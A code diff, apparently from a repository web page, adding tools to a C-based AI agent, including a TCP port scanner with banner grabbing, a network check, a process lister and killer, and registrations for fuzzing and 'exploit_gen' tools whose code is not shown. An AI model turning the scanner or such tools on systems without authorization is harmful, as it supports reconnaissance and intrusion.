static struct json_object *file_apply_patch_get_description(void) {
|
||||
struct json_object *root = json_object_new_object();
|
||||
json_object_object_add(root, "type", json_object_new_string("function"));
|
||||
struct json_object *function = json_object_new_object();
|
||||
json_object_object_add(function, "name", json_object_new_string("file_apply_patch"));
|
||||
json_object_object_add(function, "description", json_object_new_string("Apply a unified diff patch to a file."));
|
||||
struct json_object *parameters = json_object_new_object();
|
||||
json_object_object_add(parameters, "type", json_object_new_string("object"));
|
||||
struct json_object *properties = json_object_new_object();
|
||||
|
||||
struct json_object *path = json_object_new_object();
|
||||
json_object_object_add(path, "type", json_object_new_string("string"));
|
||||
json_object_object_add(properties, "path", path);
|
||||
|
||||
struct json_object *patch = json_object_new_object();
|
||||
json_object_object_add(patch, "type", json_object_new_string("string"));
|
||||
json_object_object_add(properties, "patch", patch);
|
||||
|
||||
json_object_object_add(parameters, "properties", properties);
|
||||
struct json_object *required = json_object_new_array();
|
||||
json_object_array_add(required, json_object_new_string("path"));
|
||||
json_object_array_add(required, json_object_new_string("patch"));
|
||||
json_object_object_add(parameters, "required", required);
|
||||
json_object_object_add(function, "parameters", parameters);
|
||||
json_object_object_add(root, "function", function);
|
||||
return root;
|
||||
}
|
||||
@ -101,6 +101,8 @@ static void index_directory_recursive(const char *path, struct json_object *resu
|
||||
if (S_ISDIR(st.st_mode)) {
|
||||
index_directory_recursive(full_path, result_array);
|
||||
} else if (S_ISREG(st.st_mode) && is_source_file(entry->d_name)) {
|
||||
fprintf(stderr, " -> Indexing: %s\n", full_path);
|
||||
fflush(stderr);
|
||||
FILE *fp = fopen(full_path, "r");
|
||||
if (!fp) continue;
|
||||
|
||||
|
||||
103
src/tools/tool_json.c
Normal file
103
src/tools/tool_json.c
Normal file
@ -0,0 +1,103 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#include "tool.h"
|
||||
#include "r_config.h"
|
||||
#include "json_repair.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
static struct json_object *json_extract_get_description(void);
|
||||
static char *json_extract_execute(tool_t *self, struct json_object *args);
|
||||
static void json_extract_print_action(const char *name, struct json_object *args);
|
||||
|
||||
static const tool_vtable_t json_extract_vtable = {
|
||||
.get_description = json_extract_get_description,
|
||||
.execute = json_extract_execute,
|
||||
.print_action = json_extract_print_action
|
||||
};
|
||||
|
||||
static tool_t json_extract_tool = { .vtable = &json_extract_vtable, .name = "json_extract" };
|
||||
|
||||
tool_t *tool_json_extract_create(void) { return &json_extract_tool; }
|
||||
|
||||
static void json_extract_print_action(const char *name, struct json_object *args) {
|
||||
(void)name;
|
||||
if (!args) return;
|
||||
struct json_object *key;
|
||||
if (json_object_object_get_ex(args, "key", &key)) {
|
||||
fprintf(stderr, " \033[1m-> Extracting JSON key:\033[0m %s\n", json_object_get_string(key));
|
||||
}
|
||||
}
|
||||
|
||||
static char *json_extract_execute(tool_t *self, struct json_object *args) {
|
||||
(void)self;
|
||||
struct json_object *json_str_obj, *key_obj;
|
||||
if (!json_object_object_get_ex(args, "json", &json_str_obj)) {
|
||||
return strdup("Error: missing 'json' argument");
|
||||
}
|
||||
if (!json_object_object_get_ex(args, "key", &key_obj)) {
|
||||
return strdup("Error: missing 'key' argument");
|
||||
}
|
||||
|
||||
const char *json_str = json_object_get_string(json_str_obj);
|
||||
const char *key = json_object_get_string(key_obj);
|
||||
|
||||
char *repaired = json_repair_string(json_str);
|
||||
struct json_object *parsed = json_tokener_parse(repaired);
|
||||
free(repaired);
|
||||
if (!parsed) return strdup("Error: failed to parse JSON string");
|
||||
|
||||
struct json_object *val;
|
||||
if (!json_object_object_get_ex(parsed, key, &val)) {
|
||||
json_object_put(parsed);
|
||||
return strdup("Error: key not found in JSON");
|
||||
}
|
||||
|
||||
char *result = strdup(json_object_to_json_string_ext(val, JSON_C_TO_STRING_PLAIN));
|
||||
json_object_put(parsed);
|
||||
return result;
|
||||
}
|
||||
|
||||
static struct json_object *json_extract_get_description(void) {
|
||||
struct json_object *root = json_object_new_object();
|
||||
json_object_object_add(root, "type", json_object_new_string("function"));
|
||||
|
||||
struct json_object *function = json_object_new_object();
|
||||
json_object_object_add(function, "name", json_object_new_string("json_extract"));
|
||||
json_object_object_add(function, "description",
|
||||
json_object_new_string("Extracts a specific key from a JSON object and returns its value. Note: this tool ONLY works on objects, not arrays. If you have an array or need complex processing, use python_execute."));
|
||||
|
||||
struct json_object *parameters = json_object_new_object();
|
||||
json_object_object_add(parameters, "type", json_object_new_string("object"));
|
||||
|
||||
struct json_object *properties = json_object_new_object();
|
||||
|
||||
struct json_object *json_param = json_object_new_object();
|
||||
json_object_object_add(json_param, "type", json_object_new_string("string"));
|
||||
json_object_object_add(json_param, "description", json_object_new_string("The JSON string to parse."));
|
||||
json_object_object_add(properties, "json", json_param);
|
||||
|
||||
struct json_object *key_param = json_object_new_object();
|
||||
json_object_object_add(key_param, "type", json_object_new_string("string"));
|
||||
json_object_object_add(key_param, "description", json_object_new_string("The key to extract."));
|
||||
json_object_object_add(properties, "key", key_param);
|
||||
|
||||
json_object_object_add(parameters, "properties", properties);
|
||||
|
||||
struct json_object *required = json_object_new_array();
|
||||
json_object_array_add(required, json_object_new_string("json"));
|
||||
json_object_array_add(required, json_object_new_string("key"));
|
||||
json_object_object_add(parameters, "required", required);
|
||||
json_object_object_add(parameters, "additionalProperties", json_object_new_boolean(0));
|
||||
|
||||
json_object_object_add(function, "parameters", parameters);
|
||||
|
||||
r_config_handle cfg = r_config_get_instance();
|
||||
if (r_config_use_strict(cfg)) {
|
||||
json_object_object_add(function, "strict", json_object_new_boolean(1));
|
||||
}
|
||||
|
||||
json_object_object_add(root, "function", function);
|
||||
return root;
|
||||
}
|
||||
253
src/tools/tool_network.c
Normal file
253
src/tools/tool_network.c
Normal file
@ -0,0 +1,253 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#include "tool.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netdb.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
|
||||
static struct json_object *network_check_get_description(void);
|
||||
static char *network_check_execute(tool_t *self, struct json_object *args);
|
||||
static void network_check_print_action(const char *name, struct json_object *args);
|
||||
|
||||
static struct json_object *network_port_scan_get_description(void);
|
||||
static char *network_port_scan_execute(tool_t *self, struct json_object *args);
|
||||
|
||||
static const tool_vtable_t network_check_vtable = {
|
||||
.get_description = network_check_get_description,
|
||||
.execute = network_check_execute,
|
||||
.print_action = network_check_print_action
|
||||
};
|
||||
|
||||
static const tool_vtable_t network_port_scan_vtable = {
|
||||
.get_description = network_port_scan_get_description,
|
||||
.execute = network_port_scan_execute,
|
||||
.print_action = NULL
|
||||
};
|
||||
|
||||
static tool_t network_check_tool = { .vtable = &network_check_vtable, .name = "network_check" };
|
||||
static tool_t network_port_scan_tool = { .vtable = &network_port_scan_vtable, .name = "network_port_scan" };
|
||||
|
||||
tool_t *tool_network_check_create(void) { return &network_check_tool; }
|
||||
tool_t *tool_network_port_scan_create(void) { return &network_port_scan_tool; }
|
||||
|
||||
static char *network_port_scan_execute(tool_t *self, struct json_object *args) {
|
||||
(void)self;
|
||||
struct json_object *host_obj = NULL, *start_obj = NULL, *end_obj = NULL;
|
||||
if (!json_object_object_get_ex(args, "host", &host_obj)) return strdup("Error: host missing");
|
||||
|
||||
json_object_object_get_ex(args, "start_port", &start_obj);
|
||||
json_object_object_get_ex(args, "end_port", &end_obj);
|
||||
|
||||
const char *host = json_object_get_string(host_obj);
|
||||
int start_port = start_obj ? json_object_get_int(start_obj) : 0;
|
||||
int end_port = end_obj ? json_object_get_int(end_obj) : start_port;
|
||||
|
||||
struct hostent *server = gethostbyname(host);
|
||||
if (!server) return strdup("Error: dns resolution failed");
|
||||
|
||||
struct json_object *results = json_object_new_array();
|
||||
|
||||
fprintf(stderr, " \033[1mScanning %s ports %d to %d...\033[0m\n", host, start_port, end_port);
|
||||
|
||||
int total = end_port - start_port + 1;
|
||||
int current = 0;
|
||||
|
||||
for (int port = start_port; port <= end_port; port++) {
|
||||
current++;
|
||||
fprintf(stderr, "\r -> [%d/%d] Probing port %d... ", current, total, port);
|
||||
fflush(stderr);
|
||||
|
||||
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (sockfd < 0) continue;
|
||||
|
||||
struct timeval tv;
|
||||
tv.tv_sec = 0;
|
||||
tv.tv_usec = 150000; // 150ms for faster feedback
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
struct sockaddr_in addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
memcpy(&addr.sin_addr.s_addr, server->h_addr, (size_t)server->h_length);
|
||||
addr.sin_port = htons((unsigned short)port);
|
||||
|
||||
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
|
||||
fprintf(stderr, "\033[32mOPEN\033[0m \n");
|
||||
struct json_object *entry = json_object_new_object();
|
||||
json_object_object_add(entry, "port", json_object_new_int(port));
|
||||
json_object_object_add(entry, "status", json_object_new_string("OPEN"));
|
||||
|
||||
char banner[1024];
|
||||
memset(banner, 0, sizeof(banner));
|
||||
tv.tv_sec = 1;
|
||||
tv.tv_usec = 0;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
ssize_t n = recv(sockfd, banner, sizeof(banner)-1, 0);
|
||||
if (n > 0) {
|
||||
// Clean banner for display
|
||||
for(int i=0; i<n; i++) if(banner[i] < 32) banner[i] = ' ';
|
||||
fprintf(stderr, " \033[2mBanner: %s\033[0m\n", banner);
|
||||
json_object_object_add(entry, "banner", json_object_new_string(banner));
|
||||
}
|
||||
json_object_array_add(results, entry);
|
||||
}
|
||||
close(sockfd);
|
||||
}
|
||||
fprintf(stderr, "\r \033[32mScan complete.\033[0m \n");
|
||||
|
||||
char *out = strdup(json_object_to_json_string_ext(results, JSON_C_TO_STRING_PRETTY));
|
||||
json_object_put(results);
|
||||
return out;
|
||||
}
|
||||
|
||||
static struct json_object *network_port_scan_get_description(void) {
|
||||
struct json_object *root = json_object_new_object();
|
||||
json_object_object_add(root, "type", json_object_new_string("function"));
|
||||
struct json_object *function = json_object_new_object();
|
||||
json_object_object_add(function, "name", json_object_new_string("network_port_scan"));
|
||||
json_object_object_add(function, "description", json_object_new_string("Scans a range of TCP ports on a host and attempts service banner grabbing."));
|
||||
struct json_object *parameters = json_object_new_object();
|
||||
json_object_object_add(parameters, "type", json_object_new_string("object"));
|
||||
struct json_object *properties = json_object_new_object();
|
||||
struct json_object *host = json_object_new_object();
|
||||
json_object_object_add(host, "type", json_object_new_string("string"));
|
||||
json_object_object_add(properties, "host", host);
|
||||
struct json_object *start = json_object_new_object();
|
||||
json_object_object_add(start, "type", json_object_new_string("integer"));
|
||||
json_object_object_add(properties, "start_port", start);
|
||||
struct json_object *end = json_object_new_object();
|
||||
json_object_object_add(end, "type", json_object_new_string("integer"));
|
||||
json_object_object_add(properties, "end_port", end);
|
||||
json_object_object_add(parameters, "properties", properties);
|
||||
struct json_object *required = json_object_new_array();
|
||||
json_object_array_add(required, json_object_new_string("host"));
|
||||
json_object_array_add(required, json_object_new_string("start_port"));
|
||||
json_object_object_add(parameters, "required", required);
|
||||
json_object_object_add(function, "parameters", parameters);
|
||||
json_object_object_add(root, "function", function);
|
||||
return root;
|
||||
}
|
||||
|
||||
static void network_check_print_action(const char *name, struct json_object *args) {
|
||||
(void)name;
|
||||
struct json_object *host;
|
||||
if (json_object_object_get_ex(args, "host", &host)) {
|
||||
fprintf(stderr, " -> Checking network: %s\n", json_object_get_string(host));
|
||||
}
|
||||
}
|
||||
|
||||
static char *network_check_execute(tool_t *self, struct json_object *args) {
|
||||
(void)self;
|
||||
struct json_object *host_obj, *port_obj;
|
||||
if (!json_object_object_get_ex(args, "host", &host_obj)) {
|
||||
return strdup("Error: missing 'host' argument");
|
||||
}
|
||||
const char *host = json_object_get_string(host_obj);
|
||||
int port = 0;
|
||||
if (json_object_object_get_ex(args, "port", &port_obj)) {
|
||||
port = json_object_get_int(port_obj);
|
||||
}
|
||||
|
||||
struct addrinfo hints, *res;
|
||||
memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_family = AF_UNSPEC;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
|
||||
if (getaddrinfo(host, NULL, &hints, &res) != 0) {
|
||||
return strdup("Error: DNS lookup failed");
|
||||
}
|
||||
|
||||
char ipstr[INET6_ADDRSTRLEN];
|
||||
void *addr;
|
||||
if (res->ai_family == AF_INET) {
|
||||
struct sockaddr_in *ipv4 = (struct sockaddr_in *)res->ai_addr;
|
||||
addr = &(ipv4->sin_addr);
|
||||
} else {
|
||||
struct sockaddr_in6 *ipv6 = (struct sockaddr_in6 *)res->ai_addr;
|
||||
addr = &(ipv6->sin6_addr);
|
||||
}
|
||||
inet_ntop(res->ai_family, addr, ipstr, sizeof(ipstr));
|
||||
|
||||
char result[1024];
|
||||
if (port > 0) {
|
||||
int sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
|
||||
if (sockfd < 0) {
|
||||
freeaddrinfo(res);
|
||||
return strdup("Error: could not create socket");
|
||||
}
|
||||
|
||||
// Set non-blocking for timeout
|
||||
int flags = fcntl(sockfd, F_GETFL, 0);
|
||||
fcntl(sockfd, F_SETFL, flags | O_NONBLOCK);
|
||||
|
||||
struct sockaddr_in serv_addr;
|
||||
if (res->ai_family == AF_INET) {
|
||||
memcpy(&serv_addr, res->ai_addr, sizeof(serv_addr));
|
||||
serv_addr.sin_port = htons(port);
|
||||
}
|
||||
|
||||
int conn_res = connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
|
||||
if (conn_res < 0) {
|
||||
if (errno == EINPROGRESS) {
|
||||
fd_set set;
|
||||
struct timeval tv;
|
||||
FD_ZERO(&set);
|
||||
FD_SET(sockfd, &set);
|
||||
tv.tv_sec = 2; // 2 second timeout
|
||||
tv.tv_usec = 0;
|
||||
int select_res = select(sockfd + 1, NULL, &set, NULL, &tv);
|
||||
if (select_res > 0) {
|
||||
int valopt;
|
||||
socklen_t lon = sizeof(int);
|
||||
getsockopt(sockfd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
|
||||
if (valopt == 0) conn_res = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
close(sockfd);
|
||||
snprintf(result, sizeof(result), "Host: %s (IP: %s), Port %d: %s",
|
||||
host, ipstr, port, (conn_res == 0) ? "OPEN" : "CLOSED/TIMEOUT");
|
||||
} else {
|
||||
snprintf(result, sizeof(result), "Host: %s (IP: %s), DNS: OK", host, ipstr);
|
||||
}
|
||||
|
||||
freeaddrinfo(res);
|
||||
return strdup(result);
|
||||
}
|
||||
|
||||
static struct json_object *network_check_get_description(void) {
|
||||
struct json_object *root = json_object_new_object();
|
||||
json_object_object_add(root, "type", json_object_new_string("function"));
|
||||
struct json_object *function = json_object_new_object();
|
||||
json_object_object_add(function, "name", json_object_new_string("network_check"));
|
||||
json_object_object_add(function, "description", json_object_new_string("Check DNS and port connectivity for a host."));
|
||||
struct json_object *parameters = json_object_new_object();
|
||||
json_object_object_add(parameters, "type", json_object_new_string("object"));
|
||||
struct json_object *properties = json_object_new_object();
|
||||
|
||||
struct json_object *host = json_object_new_object();
|
||||
json_object_object_add(host, "type", json_object_new_string("string"));
|
||||
json_object_object_add(host, "description", json_object_new_string("Hostname or IP to check."));
|
||||
json_object_object_add(properties, "host", host);
|
||||
|
||||
struct json_object *port = json_object_new_object();
|
||||
json_object_object_add(port, "type", json_object_new_string("integer"));
|
||||
json_object_object_add(port, "description", json_object_new_string("Port to check (optional)."));
|
||||
json_object_object_add(properties, "port", port);
|
||||
|
||||
json_object_object_add(parameters, "properties", properties);
|
||||
struct json_object *required = json_object_new_array();
|
||||
json_object_array_add(required, json_object_new_string("host"));
|
||||
json_object_object_add(parameters, "required", required);
|
||||
json_object_object_add(function, "parameters", parameters);
|
||||
json_object_object_add(root, "function", function);
|
||||
return root;
|
||||
}
|
||||
81
src/tools/tool_system.c
Normal file
81
src/tools/tool_system.c
Normal file
@ -0,0 +1,81 @@
|
||||
// retoor <retoor@molodetz.nl>
|
||||
|
||||
#include "tool.h"
|
||||
#include "bash_executor.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
static struct json_object *process_monitor_get_description(void);
|
||||
static char *process_monitor_execute(tool_t *self, struct json_object *args);
|
||||
static void process_monitor_print_action(const char *name, struct json_object *args);
|
||||
|
||||
static const tool_vtable_t process_monitor_vtable = {
|
||||
.get_description = process_monitor_get_description,
|
||||
.execute = process_monitor_execute,
|
||||
.print_action = process_monitor_print_action
|
||||
};
|
||||
|
||||
static tool_t process_monitor_tool = { .vtable = &process_monitor_vtable, .name = "process_monitor" };
|
||||
|
||||
tool_t *tool_process_monitor_create(void) { return &process_monitor_tool; }
|
||||
|
||||
static void process_monitor_print_action(const char *name, struct json_object *args) {
|
||||
(void)name;
|
||||
struct json_object *action;
|
||||
if (json_object_object_get_ex(args, "action", &action)) {
|
||||
fprintf(stderr, " -> Process monitor: %s\n", json_object_get_string(action));
|
||||
}
|
||||
}
|
||||
|
||||
static char *process_monitor_execute(tool_t *self, struct json_object *args) {
|
||||
(void)self;
|
||||
struct json_object *action_obj;
|
||||
if (!json_object_object_get_ex(args, "action", &action_obj)) {
|
||||
return strdup("Error: missing 'action' argument (list or kill)");
|
||||
}
|
||||
const char *action = json_object_get_string(action_obj);
|
||||
|
||||
if (strcmp(action, "list") == 0) {
|
||||
return r_bash_execute("ps aux | head -n 50", false);
|
||||
} else if (strcmp(action, "kill") == 0) {
|
||||
struct json_object *pid_obj;
|
||||
if (!json_object_object_get_ex(args, "pid", &pid_obj)) {
|
||||
return strdup("Error: missing 'pid' for kill action");
|
||||
}
|
||||
char cmd[256];
|
||||
snprintf(cmd, sizeof(cmd), "kill -9 %d", json_object_get_int(pid_obj));
|
||||
return r_bash_execute(cmd, false);
|
||||
}
|
||||
|
||||
return strdup("Error: unknown action");
|
||||
}
|
||||
|
||||
static struct json_object *process_monitor_get_description(void) {
|
||||
struct json_object *root = json_object_new_object();
|
||||
json_object_object_add(root, "type", json_object_new_string("function"));
|
||||
struct json_object *function = json_object_new_object();
|
||||
json_object_object_add(function, "name", json_object_new_string("process_monitor"));
|
||||
json_object_object_add(function, "description", json_object_new_string("Monitor and manage system processes."));
|
||||
struct json_object *parameters = json_object_new_object();
|
||||
json_object_object_add(parameters, "type", json_object_new_string("object"));
|
||||
struct json_object *properties = json_object_new_object();
|
||||
|
||||
struct json_object *action = json_object_new_object();
|
||||
json_object_object_add(action, "type", json_object_new_string("string"));
|
||||
json_object_object_add(action, "description", json_object_new_string("Action to perform: 'list' or 'kill'."));
|
||||
json_object_object_add(properties, "action", action);
|
||||
|
||||
struct json_object *pid = json_object_new_object();
|
||||
json_object_object_add(pid, "type", json_object_new_string("integer"));
|
||||
json_object_object_add(pid, "description", json_object_new_string("Process ID to kill (required for 'kill' action)."));
|
||||
json_object_object_add(properties, "pid", pid);
|
||||
|
||||
json_object_object_add(parameters, "properties", properties);
|
||||
struct json_object *required = json_object_new_array();
|
||||
json_object_array_add(required, json_object_new_string("action"));
|
||||
json_object_object_add(parameters, "required", required);
|
||||
json_object_object_add(function, "parameters", parameters);
|
||||
json_object_object_add(root, "function", function);
|
||||
return root;
|
||||
}
|
||||
@ -19,6 +19,17 @@ extern tool_t *tool_db_set_create(void);
|
||||
extern tool_t *tool_db_query_create(void);
|
||||
extern tool_t *tool_python_execute_create(void);
|
||||
extern tool_t *tool_index_source_directory_create(void);
|
||||
extern tool_t *tool_code_grep_create(void);
|
||||
extern tool_t *tool_code_symbol_find_create(void);
|
||||
extern tool_t *tool_file_line_replace_create(void);
|
||||
extern tool_t *tool_file_apply_patch_create(void);
|
||||
extern tool_t *tool_process_monitor_create(void);
|
||||
extern tool_t *tool_network_check_create(void);
|
||||
extern tool_t *tool_dns_lookup_create(void);
|
||||
extern tool_t *tool_network_port_scan_create(void);
|
||||
extern tool_t *tool_automation_fuzz_create(void);
|
||||
extern tool_t *tool_automation_exploit_gen_create(void);
|
||||
extern tool_t *tool_csv_export_create(void);
|
||||
|
||||
static tool_registry_t *global_registry = NULL;
|
||||
|
||||
@ -44,6 +55,19 @@ tool_registry_t *tools_get_registry(void) {
|
||||
tool_registry_register(global_registry, tool_db_query_create());
|
||||
tool_registry_register(global_registry, tool_python_execute_create());
|
||||
tool_registry_register(global_registry, tool_index_source_directory_create());
|
||||
|
||||
// New tools
|
||||
tool_registry_register(global_registry, tool_code_grep_create());
|
||||
tool_registry_register(global_registry, tool_code_symbol_find_create());
|
||||
tool_registry_register(global_registry, tool_file_line_replace_create());
|
||||
tool_registry_register(global_registry, tool_file_apply_patch_create());
|
||||
tool_registry_register(global_registry, tool_process_monitor_create());
|
||||
tool_registry_register(global_registry, tool_network_check_create());
|
||||
tool_registry_register(global_registry, tool_dns_lookup_create());
|
||||
tool_registry_register(global_registry, tool_network_port_scan_create());
|
||||
tool_registry_register(global_registry, tool_automation_fuzz_create());
|
||||
tool_registry_register(global_registry, tool_automation_exploit_gen_create());
|
||||
tool_registry_register(global_registry, tool_csv_export_create());
|
||||
|
||||
return global_registry;
|
||||
}
|
||||
|
||||
Loading…
Reference in New Issue
Block a user